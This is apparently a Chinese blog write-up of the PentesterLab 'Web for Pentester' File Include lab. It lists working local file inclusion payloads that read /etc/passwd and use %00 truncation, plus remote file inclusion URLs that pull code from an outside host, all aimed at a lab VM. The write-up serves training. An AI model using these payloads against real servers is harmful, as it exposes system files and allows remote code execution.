Web for pentester_writeup之File Include篇

File Include(文件包涵)

Example 1

加一个单引号

从报错中我们可以获取如下信息:
当前文件执行的代码路径: /var/www/fileincl/example1.php
文件包含代码引用函数 include()
代码引用的文件路径:include_path= /usr/share/php:/usr/share/pear

Payload 1 (本地文件包含LFI)
http://192.168.219.136/fileincl/example1.php?page=../../../../../../../../etc/passwd

Payload 2 (远程文件包含RFI)
http://192.168.219.136/fileincl/example1.php?page=https://assets.pentesterlab.com/test_include.txt

其中https://assets.pentesterlab.com/test_include.txt是官方给的一个测试例子,也可以自己构建,在txt中写入想执行的代码

Example 2

没有后缀名了,同样添加一个单引号查看报错信息

发现函数调用的php文件变成了include(intro'.php),我们可以使用%00截断来实现本地文件包含

Payload 1 (本地文件包含LFI)
http://192.168.219.136/fileincl/example2.php?page=../../../../../../../../etc/passwd%00

Payload 2 (远程文件包含RFI)
http://192.168.219.136/fileincl/example2.php?page=https://assets.pentesterlab.com/test_include.txt?blah=
或者使用&blah=当文件路径传参符号为&号时

Payload 3 (远程文件包含RFI,也可以在主机10.8.0.61自己构造一个phpinfo.php的文件,去掉后缀访问)
http://192.168.219.136/fileincl/example2.php?page=http://10.8.0.61/phpinfo

Web for pentester_writeup之File Include篇的更多相关文章

  1. Web for pentester_writeup之File Upload篇

    Web for pentester_writeup之File Upload篇 File Upload(文件上传) Example 1 直接上传一句话木马,使用蚁剑连接 成功连接,获取网站根目录 Exa ...

  2. Web for pentester_writeup之XML attacks篇

    Web for pentester_writeup之XML attacks篇 XML attacks(XML攻击) Example 1 - XML外部实体注入(XXE) Payload http:// ...

  3. Web for pentester_writeup之Directory traversal篇

    Web for pentester_writeup之Directory traversal篇 Directory traversal(目录遍历) 目录遍历漏洞,这部分有三个例子,直接查看源代码 Exa ...

  4. Web for pentester_writeup之LDAP attacks篇

    Web for pentester_writeup之LDAP attacks篇 LDAP attacks(LDAP 攻击) LDAP是轻量目录访问协议,英文全称是Lightweight Directo ...

  5. Web for pentester_writeup之Commands injection篇

    Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...

  6. Web for pentester_writeup之Code injection篇

    Web for pentester_writeup之Code injection篇 Code injection(代码注入) Example 1 <1> name=hacker' 添加一个 ...

  7. Web for pentester_writeup之SQL injections篇

    Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1, 'and ' ...

  8. Web for pentester_writeup之XSS篇

    Web for pentester_writeup之XSS篇 XSS(跨站脚本攻击) Example 1 反射性跨站脚本,URL中name字段直接在网页中显示,修改name字段, Payload: h ...

  9. Node.js Web 开发框架大全《静态文件服务器篇》

    这篇文章与大家分享优秀的 Node.js 静态服务器模块.Node 是一个服务器端 JavaScript 解释器,它将改变服务器应该如何工作的概念.它的目标是帮助程序员构建高度可伸缩的应用程序,编写能 ...

随机推荐

  1. 解决MybatisGenerator多次运行mapper生成重复内容

    MybatisGenerator插件是Mybatis官方提供的,这个插件存在一个固有的Bug,即当第一次生成了Mapper.xml之后,再次运行会导致Mapper.xml生成重复内容,而影响正常的运行 ...

  2. IDEA 学习笔记之 Console显示日志大小

    Console显示日志大小: IntelliJ IDEA默认的Output输出缓存区大小只有1024KB,超过大小限制的就会被清除,而且还会显示[too much output to process] ...

  3. Egret资源跨域问题

    在服务器上配置了允许跨域还不够,还需要在引擎配置允许跨域,不然texture无法在webgl上下文中渲染 会报一个类似于The cross-origin image at 的错误, 只需要在egret ...

  4. Linux配置python

    文章出处  https://www.cnblogs.com/yhongji/p/9383857.html 我这里使用的时centos7-mini,centos系统本身默认安装有python2.x,版本 ...

  5. 乱七八糟的学习资料汇总(python3.x,pyqt,svn,git)

    入门涉猎资料: python3.6.3中文文档:https://www.runoob.com/manual/pythontutorial3/docs/html/interpreter.html pyt ...

  6. python urllib2实现http GET PUT DELETE POST的方法

    #!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2019/3/11 下午8:33 # @Author : liubing # @File ...

  7. iptables详解之filter

    iptables详解之filter iptables令很多小伙伴脑阔疼,下面我们来说说如何使用iptables. 一.iptables格式 1.1.iptables 帮助 通过iptables --h ...

  8. Kubernetes快速入门

    二.Kubernetes快速入门 (1)Kubernetes集群的部署方法及部署要点 (2)部署Kubernetes分布式集群 (3)kubectl使用基础 1.简介 kubectl就是API ser ...

  9. vue中methods,computed,filters,watch的总结

    08.28自我总结 vue中methods,computed,filters,watch的总结 一.methods methods属性里面的方法会在数据发生变化的时候你,只要引用了此里面分方法,方法就 ...

  10. Ubuntu cd后自动执行ls或ll

    编辑 .bashrc 文件 sudo gedit ~/.bashrc 在最后一行加入 cdAndList() { cd "${1}"; ls; } alias cd=cdAndLi ...